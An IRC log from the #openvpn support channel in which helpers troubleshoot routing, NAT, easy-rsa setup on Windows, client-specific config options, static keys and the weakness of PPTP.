05:47 < havoc> there is *ALWAYS* routing
05:47 < Dashers> Not layer 3
05:47 < havoc> every machine has a local routing table
05:47 < havoc> and this is layer 2, not 3
05:47 < havoc> you said TAP, and layer 3 cannot be bridged
05:47 < Dashers> indeed so the local routing table doesn't need to be adjusted
05:47 < Dashers> as the local routing tables operate at layer 3
05:49 < Dashers> Should the server tap0 device have it's own IP address?
05:49 < Dashers> As the br0 device has a single address
05:49 < Dashers> which bridges tap0 and eth0
06:08 < Eagleman> I start my  openvpn client with: remote example.com 1195  However when i run netstat -plnu | grep 119, i get this:  udp        0      0 0.0.0.0:1194            0.0.0.0:*                           14411/openvpn  ANy idea why this happens?
06:09 < Eagleman> server and client are both configured to listen and connect to port 1195
06:12 -!- julius [~julius@141.41.92.122] has joined #openvpn
06:12 -!- julius is now known as julius_
06:12 < julius_> hi
06:13 < julius_> ive added push "redirect-gateway" to my openvpn client config, but route says that destination 0.0.0.0 still goes over my lan interface eth0
06:13 < julius_> shoudlnt it say that 0.0.0.0 goes over tun1 now?
06:14 < Eagleman> there should be two 0.0.0.0 routes
06:16 -!- cosmicgate [~cosmic@46.249.33.19] has joined #openvpn
06:18 < julius_> ah, its needed on the server side
06:21 < julius_> i only see one 0.0.0.0 entry now
06:21 < julius_> but that goes over tun0
06:25 < julius_> now even the dns traffic goes over the openvpn right?
06:29 -!- dazo is now known as dazo_afk
06:33 < Dashers> yup
06:33 < Dashers> unless you have any explicit routes redirecting it
06:34 < julius_> the openvpn server at the other end is behind a router, do i need to make the openvpn server itself capable for routing?
06:35 < julius_> i mean with commands like:  sysctl -w net.ipv4.ip_forward=1
06:35 < julius_> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
06:35 < Dashers> yeah, you need to enable ip forwarding as the server is now a router between two networks
06:35 < Dashers> You'll also need to ensure that devices on the remote network know how to get to your vpn subnet
06:36 -!- ispirto^s_manbro [~cosmic@46.249.33.19] has joined #openvpn
06:36 < julius_> only forwarding, no masquerading needed?
06:37 < Dashers> Personally I use LAN:192.168 -> Server <-VPN 10.8 -> Server <- Another LAN 172.16
06:37 -!- cosmicgate [~cosmic@46.249.33.19] has quit [Ping timeout: 255 seconds]
06:37 < Dashers> Yeah, you're just routing networks
06:38 < Dashers> Providing that the other devices have the route for your VPN then it should all be funky
06:42 < julius_> of what other devices to you speak?
06:42 < julius_> for now i only need one client being able to communicate over the server
07:02 -!- master_of_master [~master_of@p57B55CF7.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
07:03 < julius_> Dashers, in my case i also needed the nat
07:04 -!- master_of_master [~master_of@p57B52C3E.dip.t-dialin.net] has joined #openvpn
07:04 -!- stephan48 [stephan@opennic/stephan] has quit [Quit: Lost terminal]
07:11 -!- Eagleman [~Eagleman@5.45.183.189] has quit []
07:15 -!- Dashers [dash@home.aligrant.com] has quit [Quit: leaving]
07:21 -!- adolfomaltez [~taro@190.62.211.253] has quit [Remote host closed the connection]
07:26 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Ping timeout: 240 seconds]
07:31 -!- Fabius [~Sbratzber@187.110.4.106] has quit [Quit: Saindo]
07:47 -!- Holiday [~rjr162@128.118.15.39] has joined #openvpn
07:50 -!- brute11k1 [~brute11k@89.249.231.238] has joined #openvpn
07:52 -!- brute11k [~brute11k@89.249.235.236] has quit [Ping timeout: 276 seconds]
07:55 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has quit [Quit: Computer has gone to sleep.]
08:01 < manitu> someone with voice here wrote that openvpn extension for filtering and access management if i understood it right.. do someone have the project name?
08:13 -!- ispirto^s_manbro [~cosmic@46.249.33.19] has quit []
08:13 -!- Porkepix [~Porkepix@157.138.189.38] has joined #openvpn
08:19 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 248 seconds]
08:19 -!- Porkepix [~Porkepix@157.138.189.38] has quit [Ping timeout: 255 seconds]
08:28 -!- oyunokata [~rrinehart@209.163.177.130] has joined #openvpn
08:36 -!- Porkepix [~Porkepix@157.138.189.38] has joined #openvpn
08:40 -!- cirdan [~chris@c-69-248-228-142.hsd1.nj.comcast.net] has quit [Ping timeout: 240 seconds]
08:40 -!- Porkepix [~Porkepix@157.138.189.38] has quit [Ping timeout: 252 seconds]
08:42 -!- cirdan [~chris@c-69-248-228-142.hsd1.nj.comcast.net] has joined #openvpn
08:42 -!- Porkepix [~Porkepix@157.138.17.185] has joined #openvpn
08:42 < Holiday> !welcome
08:42 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
08:42 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
08:47 -!- Porkepix [~Porkepix@157.138.17.185] has quit [Ping timeout: 276 seconds]
08:50 -!- Porkepix [~Porkepix@157.138.189.38] has joined #openvpn
08:58 -!- Porkepix [~Porkepix@157.138.189.38] has quit [Quit: Computer has gone to sleep.]
09:12 -!- Burgundy [~burgundy@5-12-190-68.residential.rdsnet.ro] has joined #openvpn
09:19 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:20 -!- manitu [~Thunderbi@h-213.61.163.68.host.de.colt.net] has quit [Quit: manitu]
09:20 < Burgundy> Hello! This is my routing table in the VM I'm playing with: http://pastie.org/6012513. The two 10.8.x.x connections are VPN connections and, according to the routing rules I'd expect traffic to go through the 10.8.0.2 interface, however it seems that traffic goes through 10.8.3.2, disregarding the higher metric.What am I missing?
09:24 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 255 seconds]
09:28 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has joined #openvpn
09:29 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 246 seconds]
09:33 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
09:37 < Holiday> !howto
09:37 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:37 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
09:39 < Holiday> Question. Myself and a co-worker are looking to deploy a departmental VPN so we don't have to use the one provided by the main organization. So far we have an IPsec/L2TP VPN "mostly" working on RedHat (using OpenSwan and XL2TPD) but I've been told by the people in the openswan channel the way he's trying to do it requires a special config
09:41 < Holiday> issue is, I can't seem to find any more help than that (No guides online etc). I'm curious of OpenVPN would work any easier. The VPN server has dual interfaces (xxx.88.5 and xxx.88.120). We want to use eth1 (88.120) for the in and out of the VPN, but he also wants to avoid any NAT'ing or MASQ if possible while keeping the *client* machines also in a range of xxx.88.127 to xxx.88.145
09:42 < Holiday> Is that manageable with OpenVPN, or just as difficult as if we used OpenSwan (One reason I'm really pushing for OpenVPN is even though he wants to keep the setup simple for the clients, such as using the build in VPN clients, it just seems like each client requires its own tweaks within the config for OpenSwan and makes it rather annoying)
09:45 < shadoom> is this the right place to ask stuff about the android openvpn connector ?:D
10:02 < hg_5> hello if i set this path in openvpn vars.bat set HOME=C:\openvpn\easy-rsa it doesnt find it
10:02 < hg_5> what is proper path in this line?
10:20 -!- raidz_away is now known as raidz
10:29 -!- brute11k [~brute11k@89.249.235.2] has joined #openvpn
10:32 -!- brute11k1 [~brute11k@89.249.231.238] has quit [Ping timeout: 276 seconds]
10:40 -!- blackmagic [black@got.laid.using.blackmajic.org] has quit [Ping timeout: 245 seconds]
10:42 -!- blackmagic [~black@got.laid.using.blackmajic.org] has joined #openvpn
10:54 -!- c3vin [~c3vin@70.62.198.163] has joined #openvpn
11:00 -!- c3vin [~c3vin@70.62.198.163] has quit [Ping timeout: 240 seconds]
11:22 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
11:24 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:26 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
11:37 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 245 seconds]
11:50 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:51 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Client Quit]
11:51 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
12:10 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
12:13 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:15 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
12:16 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Client Quit]
12:22 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:25 < hg_5> anyone there?
12:28 <@ecrist> !ask
12:28 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
12:29 <@ecrist> hg_5: you need to escape the backslash
12:29 < hg_5> ecrist what?
12:29 <@ecrist> set HOME="C:\\openvpn\\easy-rsa"
12:29 < hg_5> double backslash???
12:29 <@ecrist> yes
12:29 <@ecrist> a backslash is typically an escape character
12:32 <@ecrist> hg_5: that syntax is in the manual and the howto, btw
12:38 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 255 seconds]
12:39 < hg_5> ecrist and i still have problem: http://puu.sh/1VUeE (System cannot find the specified path)
12:40 < hg_5> my vars.bat file looks that: http://pastebin.com/gXntHM8V
12:41 <@ecrist> oh, I didn't realize this was a batch script
12:41 <@ecrist> remove the double slashes, but keep the quotes
12:45 < hg_5> and still the same http://puu.sh/1VUpx (System cannot find the specified path)
12:55 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 256 seconds]
12:57 < hg_5> ecrist you know what is going on?
13:00 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
13:00 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
13:00 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has quit []
13:07 -!- mode/#openvpn [+v pekster] by ChanServ
13:07 <+pekster> hg_5: No quotes in that since it's windows batch
13:07 <+pekster> hg_5: Syntax should be as follows: set HOME=C:\openvpn\easy-rsa
13:07 < hg_5> pekster i have tried with no quotes on begin, but had same, didnt work
13:07 <+pekster> (assuming you moved the entire easy-rsa directory to that path, including all the support files that shipped with the openvpn distribution)
13:08 <+pekster> hg_5: And you re-ran "vars.bat" after setting the path to the place where you're keeping easy-rsa?
13:09 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
13:09 < hg_5> pekster, yes look http://puu.sh/1VV0g
13:10 < hg_5> what you mean "re-ran vars.bat" ?
13:11 <+pekster> After you update the cocde on line 6 to point to your correct path, you must *then* run 'vars' or it will use the old (default on installation) path
13:11 <+pekster> You did it in that order, right?
13:13 < hg_5> ohh, i didnt run vars.bat
13:13 <+pekster> Yea, that file just sets the environmental variables
13:14 <+pekster> All the scripts require those variables set correctly to work
13:14 <+pekster> So, *every* time you open a new command window (or change vars.bat) you must run it again to update the variables
13:14 < hg_5> ok i run vars.bat, but i still get the same "system cannot find the specified path, after clean-all command
13:15 <+pekster> hg_5: Oh, KEY_DIR=keys
13:15 <+pekster> It's a realative path, not absolute
13:15 <+pekster> hg_5: Same with your KEY_CONFIG
13:16 <+pekster> That needs to be openssl-1.0.0.cnf
13:16 <+pekster> It's all relative to your %HOME%
13:19 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
13:19 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has quit [Ping timeout: 248 seconds]
13:23 -!- Porkepix [~Porkepix@net-188-216-189-124.cust.dsl.vodafone.it] has joined #openvpn
13:25 < hg_5> pekster ehh still the same problem, it didnt help
13:26 < hg_5> http://puu.sh/1VVqu
13:26 <+pekster> You didn't re-run vars from the look of it
13:26 <+pekster> Look at your cmd history
13:27 <+pekster> You copy the sample file in (presumably needing to fix it up first) and then run clean-all. It fails. Then you run it again. Of course it'll fail becuase nothing has changed in the environment
13:27  * ecrist cannot wait to revamp that miserable piece of software
13:28 <+pekster> ecrist: Yea, it's a bit worse for the Windows side (missing scripts to sign without building a key, etc. I'll be happy to see it go. That patch was just a band-aid really)
13:29 <+pekster> I haven't looked at the new replacement as I've had my own personall scripts for a while that do exactly what I like
13:30 <@ecrist> there's no replacement yet, but it's going to operate much like ssl-admin does now, with batch capabilities
13:31 <+pekster> Ah, k. Yea, ssl-admin was the name I was thinking of. Either way, I just started a system from scratch, and I like it.
13:32 <@ecrist> :)
13:32 <+pekster> But I'm picky about how my certs work
13:33 < hg_5> pekster when i run "vars" command, after that i deleted vars.bat and copied my vars.bat
13:33 -!- Porkepix [~Porkepix@net-188-216-189-124.cust.dsl.vodafone.it] has quit [Quit: Computer has gone to sleep.]
13:34 <+pekster> hg_5: Unless I'm missing command history in that screenshot, you ran clean-all twice without running 'vars' again. That doesn't work. A different cmd window has its own environment
13:34 < hg_5> i just wanted to check if i get same error
13:34 < hg_5> thats why i run it twice
13:35 <+pekster> Between the "copy vars.bat.sample vars.bat" step and "vars" command, did you update the file to look like your Notepad++ screenshot shows?
13:35 <+pekster> It's crucial that you did, becuase otherwise that error is quite expected
13:36 <+pekster> hg_5: Oh, no quotes on line 7
13:36 <+pekster> batch treats quotes as a literal quote character
13:36 <+pekster> (which aren't allowed in filenames anyway)
13:36 <+pekster> (yes, MS batch is stupid)
13:38 -!- Cpot-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
13:41 -!- bwallen [~brian@pool-173-72-191-174.clppva.fios.verizon.net] has quit [Quit: Leaving]
13:41 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 252 seconds]
13:43 < hg_5> can you look i will stream what am i doing ?
13:43 < hg_5> www.justin.tv/ryyyiu
13:44 <+pekster> http://puu.sh/1VVqu fix line 7
13:44 <+pekster> No " chcaracter
13:44 < hg_5> i have fixed
13:44 <+pekster> re-sourced vars? No need to keep running init-config
13:45 <+pekster> Stop copying the vars.bat.sample too
13:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:45 -!- Cpot-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
13:45 <+pekster> Just fix your vars, run 'vars' in a console, and 'clean-all' will delete and re-create the 'keys' directory and copy in index.txt.start and serial.start to the keys dir
13:45 < hg_5> oh it works now ;'
13:47 < hg_5> hm whats that error http://puu.sh/1VW0z
13:48 < hg_5> and this in the same command (build-key client1) http://puu.sh/1VW1Q
13:48 -!- b1rkh0ff [~b1rkh0ff@178.77.20.138] has joined #openvpn
13:48 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has joined #openvpn
13:48 -!- nickanderson [~cmdln@ginger.pilgrimpage.com] has joined #openvpn
13:48 < hg_5> pekser?
13:48 < hg_5> pekster
13:49 -!- gbkersey [~gbkersey@cpe-70-113-93-142.austin.res.rr.com] has joined #openvpn
13:50 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
13:54 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
13:55 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
14:01 <+pekster> hg_5: Sounds like you have a non-unique CN perhaps? https://community.openvpn.net/openvpn/ticket/229#no1
14:01 <@vpnHelper> Title: #229 (easy-rsa: failed to update database > TXT_DB error number 2) – OpenVPN Community (at community.openvpn.net)
14:02 -!- brute11k1 [~brute11k@89.249.231.86] has joined #openvpn
14:02 < hg_5> pekster if i will re-try this process on virtual machine with fresh windows instalation, will it work?
14:03 -!- exed [~maximus@ppp-46-244-149-179.dynamic.mnet-online.de] has joined #openvpn
14:03 <+pekster> It should. Or just re-install openvpn and use a freash easy-rsa copy
14:03 <+pekster> (if you have an un-modified prestine version it should work too)
14:03 <+pekster> The scripts especially for windows are really, really, bsic
14:04 <+pekster> The Linux version does a bit more behind-the-scenes work, but the Windows batch are about the most simple you can get
14:04 <+pekster> I'm betting either your CNs aren't unique, or that you somehow clobbered your serial file
14:04 -!- brute11k [~brute11k@89.249.235.2] has quit [Ping timeout: 276 seconds]
14:05 <+pekster> Without context there's really no way to know
14:07 -!- nickanderson is now known as nickanderson_afk
14:08 -!- kothog [~kothog@unaffiliated/kothog] has joined #openvpn
14:09 -!- Eagleman [~Eagleman@5.45.183.189] has joined #openvpn
14:10 < kothog> I have a working OpenVPN server using certificates. In the client config files (named after the certs) I have the directives for pushing routes (Works fine.) I have iroute (works fine) but I also have "route 10.10.11.0 255.255.255.0 10.0.0.20" where 10.0.0.20 is the client's openvpn ip address and 10.10.11.0/24 is the subnet *on the client*. I want the server to automatically add the routes when the client connects, and destroy them when the client dis
14:11 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
14:16 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 248 seconds]
14:17 <+pekster> kothog: THat's doable, yea. You're missing splitlong.pl or such becuase it got cut off after "destroy them when the client dis" ...
14:17 < kothog> oh woops. :)
14:17 < kothog> connects. Is this possible?
14:17 < kothog> ^^ the rest of the line.
14:17 < kothog> pekster: Thanks for the reminder, also.
14:17 <+pekster> Ah, okay. That much I inferred. Yea, you can use 'route' inside a ccd like that
14:18 < kothog> hrm. in that case either the config file isn't being read, or something on the system is interfering with the ability to add routes.
14:19 <+pekster> Downgrading permission perhaps?
14:19 <@krzee> you dropping permissions?
14:19 <@krzee> damn, beat me to it!
14:19  * pekster wins this round
14:19 < kothog> good idea I'll check
14:19 <+pekster> About time I win one ;)
14:19 < kothog> ps auxww | grep -i openvpn
14:19 < kothog> root      1433
14:19 <+pekster> What's the log say?
14:19 <+pekster> I think at verb 3 it should tell you even if successful, but maybe you need 'verb 4' for that
14:19 <+pekster> You should get errors regardless
14:20 <@krzee> ild say always verb 4 while debugging, unless firewall can possibly be an issue, then verb 5
14:20 <+pekster> Yea. verb 4 is better since it's more talkatitive when processing the ccd files
14:20 <+pekster> Okay, time for afternoon coffee. My typing is getting worrse...
14:21 <@krzee> im putting up fencing today while sick… bout ready to die
14:21 < kothog> It's running at verb 4. No errors at the moment relating to routes. The last message it reports for that clietn when it connects is SENT CONTROL [Venn_VPN]: 'PUSH_REPLY,route {etc}
14:22 < kothog> so, TLS verifying okay, data channel encrypt.. Control Channel message, PUSH: Received control message: 'PUSH_REQUEST', send_push_reply(): safe_cap=960, and then: SENT CONTROL [Venn_VPN]: 'PUSH_REPLY,route {etc}
14:25 < kothog> whoah, there we go.
14:26 -!- Maverick0984 [maverick@poundcs.org] has joined #openvpn
14:26 < kothog> lots of debugging info.
14:26 < Maverick0984> anyone had any success in using OpenVPN GUI with PhoneFactor or similar?
14:26 < Maverick0984> OpenVPN GUI times out the authentication before the call can be made
14:27 < kothog> OPTIONS IMPORT: reading client specific options from: /et
14:27 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out]
14:27 < kothog> c/openvpn/clients/err..
14:27 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
14:27 < kothog> OPTIONS IMPORT: reading client specific options from: /etc/openvpn/clients/Venn_VPN, then: Options error: option 'route' cannot be used in this context
14:27 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Connection reset by peer]
14:27 < kothog> aaaargh
14:28 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
14:39 -!- rrva [unknown@y.mima.x.se] has joined #openvpn
14:40 < rrva> hi! If I turn off encryption, will still the authentication be safe from eavesdropping? I use a static key
14:41 <+pekster> There is no authentication with static keys (ie: using --secret.) Ownership of the key is considered proof that the peer is authorized
14:48 < rrva> yes, but I mean, is there something protecting the static key from being eavesdropped? And if so, will that protection be turned off if I turn off encryption?
14:48 <+pekster> The static key is never sent over the wire
14:48 <+pekster> Turning off encryption in a static keyed setup is pointless. Use a GRE tunnenl if that's what you want
14:48 < rrva> ah ok it is just a shared secret
14:49 < rrva> does tomato router support gre?
14:49 <+pekster> Any Linux will, yea
14:49 < rrva> i just need a tunnel only usable by me, but i do not need encryption
14:49 <+pekster> 'man ip-tunnel' for that then
14:50 < rrva> oh ok
14:50 <+pekster> OpenVPN is designed around the premise of using openssl for encryption
14:53 < kothog> Huh. Guess 'route' can't be used inside a ccd after all.
14:54 <+pekster> Hmm, I thought it could. manpage doesn't list it though, so I'm likely mistaken
14:54 < kothog> pekster: Which manpage are you looking at?
14:55 <+pekster> 2.3.0
14:55 <+pekster> Same for 2.2.2
14:55 < kothog> When you say it doesn't "list" it though, is there a list of commands that can be used in a ccd?
14:56 <+pekster> See --client-config-dir
14:56 <+pekster> !man
14:56 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
14:56 < kothog> okay thanks!  well I certainly appreciate the help.
14:57 <+pekster> Sorry to have led you down the wrong path. I thought you could do that, but apparently not. You could probably work some magic into a --client-connect & --client-disconnect script to do it too, although that's more work
14:57 < kothog> ah HAH:" The following options are legal in a client-specific context"
14:58 < kothog> yeah no worries, it made me learn quite a bit more about openvpn tracing it down, and in my experience that's never a bad thing. :)
14:58 -!- gajop [~gajop@unaffiliated/gajop] has joined #openvpn
14:58 <+pekster> Did thte log actually complain about it?
14:58 < kothog> pekster: Yeah it turns out it was complaining about it, but it had been running for so long that syslog had rotated those initial config errors right out of the way
14:58 < gajop> so.. i don't have the CA cert of my uni's VPN, how can i obtain it if i know its' address so openvpn doesn't complain?
14:58 < kothog> so when I restarted it, the errors showed up again.
14:58 <+pekster> Ah, gotcha :)
14:58 < gajop> .. can openvpn even be used for work VPNs?
14:59 <+pekster> gajop: Sure, openvpn is GPL, so as long as they aren't reselling the software without providing the source to customers, it's completely legal. https://www.gnu.org/licenses/gpl-2.0
14:59 <@vpnHelper> Title: GNU General Public License v2.0 - GNU Project - Free Software Foundation (at www.gnu.org)
15:00 <+pekster> As for the CA cert, they should publish that somewhere online, sometimes in a release package, or sometimes by itself. It's non-trivial to "obtain" it from a running service if you don't have it
15:01 <+pekster> openssl's s_client might be able to hack something if it's a TCP server, but the more-common UDP mode is even harder to swipe the cert. Maybe you could use a fake ca locally and wireshark/tcpdump the traffic and rip out the x509 from the data stream
15:01 < gajop> pekster: what? no, that's not what i asked; i'm wondering if i can use the openvpn client to connect to the work network, not sure what's the difference if any between "regular vpn" you can create in MS windows and openvpn
15:01 <+pekster> OpenVPN uses its own protocol
15:01 < gajop> ok so nvm then :p
15:01 <+pekster> It's not IPSec or PPTP or L2TP or any of that
15:02 < gajop> they aren't very technical, but i think they're using ppp over ip
15:02 <+pekster> Not very secure then :)
15:03 <+pekster> PPTP is also basically broken completely as of 2012
15:03 <+pekster> (it's been known to be very week for a decade prior to that, so anyone using it has had their head burried in the sand for a while)
15:03 < gajop> honestly don't care, i just need to access some articles and i need to be on the uni network for that :p
15:03 <+pekster> Right
15:04 <+pekster> Yea, openvpn only talks to another openvpn peer
15:04 <+pekster> And it speaks the openvpn protocol to do so ;)
15:04 < gajop> yeh, ok, i did use it before with friends; guess ill need to configure this broken pppd for work ;/
15:05 <+pekster> In TLS modes (ie: server/mutli-client mode, or 'mode server') there's a standard TLS-handshake, but the data is multiplexed on top of the same network socket
15:05 <@krzee> !pptp
15:05 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-security.phtml to
15:05 <@vpnHelper> read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/
15:05 <@krzee> (for more info on what pekster said)
15:06 <+pekster> How come no one listens to B. Schennier until someone actually breaks a protocol? :(
15:06 <@krzee> no kidding
15:06 <@krzee> hell even microsoft once said it was broken
15:06 <+pekster> Well, not until last year
15:06 <+pekster> (after the moxie break)
15:06 <@krzee> nah they said it long ago
15:06 < neilhwatson> Don't they always plug their ears and yell LA! LA! LA1 until it's cracked?
15:07 <@krzee> referenced here long before moxie http://pptpclient.sourceforge.net/protocol-security.phtml
15:07 <@vpnHelper> Title: PPTP Client (at pptpclient.sourceforge.net)
15:07 < gajop> yeh.. well mail it to my uni's network admins, also mind telling them to use some form of SSL for pop3/imap?
15:07 <+pekster> Basically. They "recommended" L2TP when that came out, but they didn't exactly push people off pptp very well
15:08 <+pekster> There are still lots of corp shops using it. Many of those still accept MS-CHAPv1 too ;)
15:08 < neilhwatson> Careful gajop, more draconian uni's might see you actions as hacking if you are trail and erroring a third party vpn client.
15:09 <+pekster> Downgrade attacks anyone? On that note, go check your openvpn installations for --tls-cipher if you want a hardened setup
15:09 <@krzee> yes, you may want to get permission first
15:10 < gajop> unlikely, i teach there and know most of the admins by name;
15:10 <+pekster> Oh, actually the ovpn peer won't present the CA, just its own cert. I don't think openvpn allows you to use --ca with a non-CA-signed cert
15:10 <+pekster> So, you're hosed unless you 1) get the proper CA cert or 2) patch openvpn to connect anyway (which is REALLY REALLY insecure)
15:10 <@krzee> right
15:11 <@krzee> you're actually able to use split-ca's, not that i can find a reason to do it
15:11 -!- nickanderson_afk is now known as nickanderson
15:11 <@krzee> with servers using 1 CA and clients using another
15:11 <+pekster> Sure, but each side still needs the CA of the other peer's cert
15:11 <@krzee> as long as each side has the others ca.crt
15:11 <@krzee> yes
15:11 <+pekster> THat might be more useful in a sub-CA setup
15:11 <@krzee> otherwise you dunno who the other side is, or that they are who they say
15:12 <+pekster> ie: rootCA -> [intermediate_serverCA & intermediate_clientCA ] -> client certs
15:12 -!- gajop [~gajop@unaffiliated/gajop] has left #openvpn ["WeeChat 0.4.0"]
15:12 <+pekster> s/client/peer/
15:12 <@krzee> would there be a point?
15:12 <+pekster> Not really. Maybe keep the server intermediate offline
15:13 <@krzee> lol EugeneKay nice hostname
15:14 <+EugeneKay> krzee - check the matching website ;-)
15:14 <@krzee> lol
15:14 -!- exed [~maximus@ppp-46-244-149-179.dynamic.mnet-online.de] has quit [Quit: exed]
15:14 <@krzee> nice neckbeard!
15:14 <@krzee> :-D
15:14 <+EugeneKay> That's an old pic. I haven't bothered to update it since I became a firefighter
15:15 <+EugeneKay> I shave at least every other day now
15:18 <+EugeneKay> krzee - you should see my collection of stupid hostmasks
15:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:24 -!- `Ile` [~ile@109-92-65-39.dynamic.isp.telekom.rs] has joined #openvpn
15:28 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 245 seconds]
15:32 < Maverick0984> so does nayone know of a way to delay the authentication timeout? for something like a phone call two-factor setup?
15:32 < Maverick0984> any sort of entry in the config that would accomplish this?
15:34 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:34 -!- `Ile` [~ile@109-92-65-39.dynamic.isp.telekom.rs] has quit [Quit: leaving]
15:38 < hg_5> ehh whats wrong come on, im trying this on windows xp fresh installed http://puu.sh/1VZn7
15:42 < hg_5> pekster maybe you know ;' ?
15:48 < hg_5> i have installed openvpn 2.3 (32bit version) and i can't find where is openssl.cfg
15:48 -!- u0m3 [~Radu@92.80.92.99] has quit [Read error: Connection reset by peer]
15:49 -!- Eagleman7 [~Eagleman@5.45.183.189] has joined #openvpn
15:50 < hg_5> do i have to download and install separately openssl or what hm?
15:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:51 -!- Eagleman [~Eagleman@5.45.183.189] has quit [Ping timeout: 245 seconds]
15:52 -!- u0m3 [~Radu@92.80.123.64] has joined #openvpn
15:56 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 245 seconds]
15:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:01 < Eagleman7> Does each instance ( udp/tcp ) needs its own chroot directory or can they share the chroot dir ?
16:01 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
16:02 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:03 -!- nickanderson is now known as nickanderson_afk
16:05 -!- Eagleman7 [~Eagleman@5.45.183.189] has quit [Ping timeout: 248 seconds]
16:08 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
16:09 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has joined #openvpn
16:11 <+pekster> hg_5: that error is unimportant since the KEY_CONFIG is what gets passed instead
16:12 <+pekster> If you incorrectly referenced that relative to your %HOME% variable, easy-rsa doesn't work
